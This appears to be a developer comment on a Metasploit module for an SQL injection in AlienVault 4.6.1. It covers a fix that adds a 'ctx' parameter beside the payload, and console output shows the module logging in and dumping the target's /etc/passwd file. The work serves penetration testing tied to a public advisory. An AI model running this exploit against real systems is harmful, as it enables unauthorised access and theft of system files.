Add module - alienvault_newpolicyform_sqli

New module for alienvault 4.6.1 - SQLi
http://forums.alienvault.com/discussion/2690/security-advisories-v4-6-1-and-lower

By default I'm getting this answer:

```
HTTP/1.0 200 OK
Date: Mon, 09 Jun 2014 16:05:46 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-UA-Compatible: IE=Edge,chrome=1
Vary: Accept-Encoding
Content-Length: 993
Connection: close
Content-Type: text/html

<div id='c_nt_oss_error' style='width:95%; margin: 20px auto;'><div id='nt_oss_error' style='width: 300px;
									font-family:Arial, Helvetica, sans-serif;
									font-size:12px;
									text-align: left;
									position: relative;
									border: 1px solid;
									border-radius: 5px;
									-moz-border-radius: 5px;
									-webkit-border-radius: 5px;
									box-shadow: 5px 5px 5px rgba(0, 0, 0, 0.1);
									-webkit-box-shadow: 5px 5px rgba(0, 0, 0, 0.1);
									-moz-box-shadow: 5px 5px rgba(0, 0, 0, 0.1);color: #D8000C; background-color: #FFBABA;width: 90%; text-align:left; margin:auto;'>
                    <img src='/ossim/pixmaps/nf_error.png' style='position: absolute; top: -11px; left: -11px'/>
                    <div style='padding: 5px 5px 5px 25px;'>
                        <div class='nf_error'>Error in the 'ctx' field (missing required field)</div>
                    </div>

                </div></div>
```

If I add a ctx variable to the ```get``` hash, everything module works:

```ruby
    get = {
      'insertafter' => pay,
      'ctx' => 0
    }

```

Result:

```
msf auxiliary(alienvault_newpolicyform_sqli) > rexploit
[*] Reloading module...

[*] 172.16.158.173:443 - Get a valid session cookie...
[*] 172.16.158.173:443 - Login...
[*] 172.16.158.173:443 - Exploiting SQLi...
[+] File stored at path: /Users/jvazquez/.msf4/loot/20140609110715_default_172.16.158.173_alienvault.file_601107.txt
[*] Auxiliary module execution completed
msf auxiliary(alienvault_newpolicyform_sqli) > cat /Users/jvazquez/.msf4/loot/20140609110715_default_172.16.158.173_alienvault.file_601107.txt
[*] exec: cat /Users/jvazquez/.msf4/loot/20140609110715_default_172.16.158.173_alienvault.file_601107.txt

root:x:0:0:root:/root:/usr/bin/llshell
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin
munin:x:102:104::/var/lib/munin:/bin/false
postfix:x:103:106::/var/spool/postfix:/bin/false
snmp:x:104:108::/var/lib/snmp:/bin/false
hacluster:x:105:109:Heartbeat System Account,,,:/usr/lib/heartbeat:/bin/false
ossec:x:1000:1000::/var/ossec/:/bin/false
ossecm:x:1001:1000::/var/ossec/:/bin/false
ossecr:x:1002:1000::/var/ossec/:/bin/false
ntop:x:106:111::/var/lib/ntop:/bin/false
snort:x:107:112:Snort IDS:/var/log/snort:/bin/false
prads:x:108:113::/home/prads:/bin/false
nagios:x:109:114::/var/lib/nagios:/bin/false
mysql:x:110:115:MySQL Server,,,:/var/lib/mysql:/bin/false
asec:x:111:116:Alienvault smart event system user,,,:/var/lib/asec:/bin/false
mongodb:x:112:65534::/home/mongodb:/bin/false
avserver:x:113:121:AlienVault SIEM,,,:/home/avserver:/bin/false
avidm:x:114:121:AlienVault IDM,,,:/home/avidm:/bin/false
stunnel4:x:115:122::/var/run/stunnel4:/bin/false
avagent:x:116:121:AlienVault Agent,,,:/home/avagent:/bin/false
avforw:x:117:121:AlienVault SIEM,,,:/home/avforw:/bin/false
avapi:x:118:121:AlienVault SIEM,,,:/home/avapi:/bin/bash
rabbitmq:x:119:123:RabbitMQ messaging server,,,:/var/lib/rabbitmq:/bin/false
```

thoughts?